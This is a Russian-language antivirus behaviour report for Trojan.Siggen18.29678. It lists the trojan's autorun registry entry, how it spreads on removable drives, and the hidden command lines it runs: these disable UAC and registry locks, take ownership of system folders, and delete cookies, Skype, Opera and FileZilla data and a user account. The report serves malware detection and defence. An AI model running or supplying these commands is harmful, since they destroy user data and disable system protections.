Trojan.Siggen18.29678

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'Updates' = '"C:\System\win0ptimizer.exe" /e:VBScript.Encode "C:\kernel\r00t3r"'

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\documents.lnk
<Имя диска съемного носителя>:\autorun.inf

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует отображение:

скрытых файлов

блокирует:

Средство контроля пользовательских учетных записей (UAC)

удаляет теневые копии разделов.

Изменения в файловой системе

Создает следующие файлы

%TEMP%\uac.bat
nul
%TEMP%\admin.vbe
%TEMP%\cpba.bat
%TEMP%\tmp.bat
%TEMP%\tmp.vbe
%TEMP%\b.bat
C:\users\photos.lnk
%TEMP%\sdf.vbs

Присваивает атрибут 'скрытый' для следующих файлов

<Имя диска съемного носителя>:\autorun.inf

Удаляет следующие файлы

%TEMP%\admin.vbe
%TEMP%\uac.bat
%TEMP%\tmp.bat
%TEMP%\tmp.vbe
%TEMP%\b.bat
<Имя диска съемного носителя>:\autorun.inf
<Имя диска съемного носителя>:\documents.lnk

Подменяет следующие файлы

%TEMP%\tmp.bat
<Имя диска съемного носителя>:\documents.lnk
<Имя диска съемного носителя>:\autorun.inf

Другое

Создает и запускает на исполнение

'<SYSTEM32>\wscript.exe' "%TEMP%\ADMIN.vbe"
'<SYSTEM32>\wscript.exe' "%TEMP%\tmp.vbe"
'<SYSTEM32>\wscript.exe' "%TEMP%\sdf.vbs"
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\uac.bat" "' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c"%TEMP%\CPBA.bat"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /K takeown /F "%HOMEPATH%\application data" /A /R /D O & takeown /F "%userproflie%\cookies" /A /R /D O & takeown /F "%userproflie%\Local Settings" /A /R /D O & takeown /F "<DRIVERS>" /A /R /D O...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp.bat" "' (со скрытым окном)
'<SYSTEM32>\wscript.exe' "%TEMP%\tmp.vbe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\b.bat" "' (со скрытым окном)
'<SYSTEM32>\taskmgr.exe' ' (со скрытым окном)
'<SYSTEM32>\wscript.exe' "%TEMP%\sdf.vbs"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /K cd/d "%HOMEPATH%" & rd/q/s Windows & rd/q/s s4t4n & rd/q/s Microsoft & rd/q/s Securities & cd/d <DRIVERS> & ren flpydisk.sys flpydisk.sy_ & net user timalin /delete & EXIT' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /K CD/D "%HOMEPATH%\COOKIES" & Del/f/q/a *.* & EXIT' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /K cd/d "%HOMEPATH%\Application Data\Skype" & rd/s/q "%HOMEPATH%\Application Data\Skype" & EXIT' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /K cd/d "C:\opera" & del/f/q opera & EXIT' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /K cd/d "C:\FileZilla" & del/f/q sitemanager.xml & EXIT' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c ""%TEMP%\uac.bat" "
'<SYSTEM32>\attrib.exe' -s -h "%TEMP%\<Имя файла>.vbe"
'<SYSTEM32>\takeown.exe' /a /f <DRIVERS>\flpydisk.sys
'<SYSTEM32>\icacls.exe' <DRIVERS>\flpydisk.sys /Grant Administrateur:F
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\b.bat" "
'<SYSTEM32>\xcopy.exe' /C /H /Y /R "C:\System\xvz.dat" "C:\Users"
'<SYSTEM32>\attrib.exe' +s +h "C:\Users\Update.dat"
'<SYSTEM32>\xcopy.exe' /C /H /Y /R "<SYSTEM32>\<Имя файла>.vbe" "%TEMP%\"
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscript.exe /Grant Administrateur:F
'<SYSTEM32>\attrib.exe' +s +h "C:\UsersUpdate.dat"
'<SYSTEM32>\cmd.exe' /K CD/D "%HOMEPATH%\COOKIES" & Del/f/q/a *.* & EXIT
'<SYSTEM32>\net.exe' user timalin /delete
'<SYSTEM32>\net1.exe' user timalin /delete
'<SYSTEM32>\cmd.exe' /K cd/d "%HOMEPATH%\Application Data\Skype" & rd/s/q "%HOMEPATH%\Application Data\Skype" & EXIT
'<SYSTEM32>\cmd.exe' /K cd/d "C:\opera" & del/f/q opera & EXIT
'<SYSTEM32>\cmd.exe' /K cd/d "C:\FileZilla" & del/f/q sitemanager.xml & EXIT
'<SYSTEM32>\taskmgr.exe'
'<SYSTEM32>\cmd.exe' /K cd/d "%HOMEPATH%" & rd/q/s Windows & rd/q/s s4t4n & rd/q/s Microsoft & rd/q/s Securities & cd/d <DRIVERS> & ren flpydisk.sys flpydisk.sy_ & net user timalin /delete & EXIT
'<SYSTEM32>\xcopy.exe' /C /H /Y /R "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.vbe" "%TEMP%\"
'<SYSTEM32>\takeown.exe' /a /f <SYSTEM32>\wscript.exe
'<SYSTEM32>\xcopy.exe' /C /H /Y /R "C:\kernel\*.vbe" "%TEMP%\"
'<SYSTEM32>\cmd.exe' /S /D /c" ver "
'<SYSTEM32>\find.exe' /i "version 6.1."
'<SYSTEM32>\cmd.exe' /c"%TEMP%\CPBA.bat"
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' query hklm\software\microsoft\windows\currentversion\policies\system /v enablelua
'<SYSTEM32>\find.exe' /i "0x0"
'<SYSTEM32>\reg.exe' add hklm\software\microsoft\windows\currentversion\policies\system /v consentpromptbehavioradmin /t reg_dword /d 0 /f
'<SYSTEM32>\mode.com' con lines=1 cols=14
'<SYSTEM32>\reg.exe' add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp.bat" "
'<SYSTEM32>\takeown.exe' /F "%HOMEPATH%\application data" /A /R /D O
'<SYSTEM32>\cmd.exe' /c type "C:\System\xvz.dat"
'<SYSTEM32>\takeown.exe' /F "%userproflie%\cookies" /A /R /D O
'<SYSTEM32>\reg.exe' add "HKCR\VBEFile\DefaultIcon" /v "" /t "REG_SZ" /d "<SYSTEM32>\shell32.dll,1" /f
'<SYSTEM32>\takeown.exe' /F "%userproflie%\Local Settings" /A /R /D O
'<SYSTEM32>\takeown.exe' /F "<DRIVERS>" /A /R /D O
'<SYSTEM32>\cmd.exe' /K takeown /F "%HOMEPATH%\application data" /A /R /D O & takeown /F "%userproflie%\cookies" /A /R /D O & takeown /F "%userproflie%\Local Settings" /A /R /D O & takeown /F "<DRIVERS>" /A /R /D O...
'<SYSTEM32>\xcopy.exe' /C /H /Y /R "C:\System\xvz.dat" "<Имя диска съемного носителя>:\"
'<SYSTEM32>\attrib.exe' +s +H "<Имя диска съемного носителя>:\Microsoft.dat"